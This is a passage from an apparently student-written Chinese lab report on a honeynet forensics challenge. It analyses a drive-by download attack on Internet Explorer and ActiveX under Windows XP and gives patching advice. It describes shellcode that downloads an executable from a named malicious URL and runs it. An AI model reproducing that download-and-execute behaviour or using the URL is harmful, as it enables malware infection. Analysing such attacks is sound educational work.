<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <meta name="robots" content="noindex"> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /fg/show.php was not found on this server.</p> <script language='JavaScript'> [some script] </script> <noscript></noscript> </body></html>
发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难
该漏洞利用程序不允许同一客户端访问两次。
6.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 142号流,可以查看到这是一个针对Windows XP系统的,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。
可以通过修补操作系统和应用程序,进行定期更新以及使用“ActiveX杀手”或完全使用其他Web浏览器来防止攻击。
7.Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1
检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
8.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
有。目的是在受害者主机上通过 Internet Explorer 加载 www.honeynet.org。
3.遇到的问题
问题一:实践2和取证分析实践无从下手
问题一解决方案:希望老师上课可以稍稍指导以下。
4.学习感悟、思考
本次实践稍稍的有那么点儿不知所措。也不知道说点儿啥,就祝大家520快乐吧。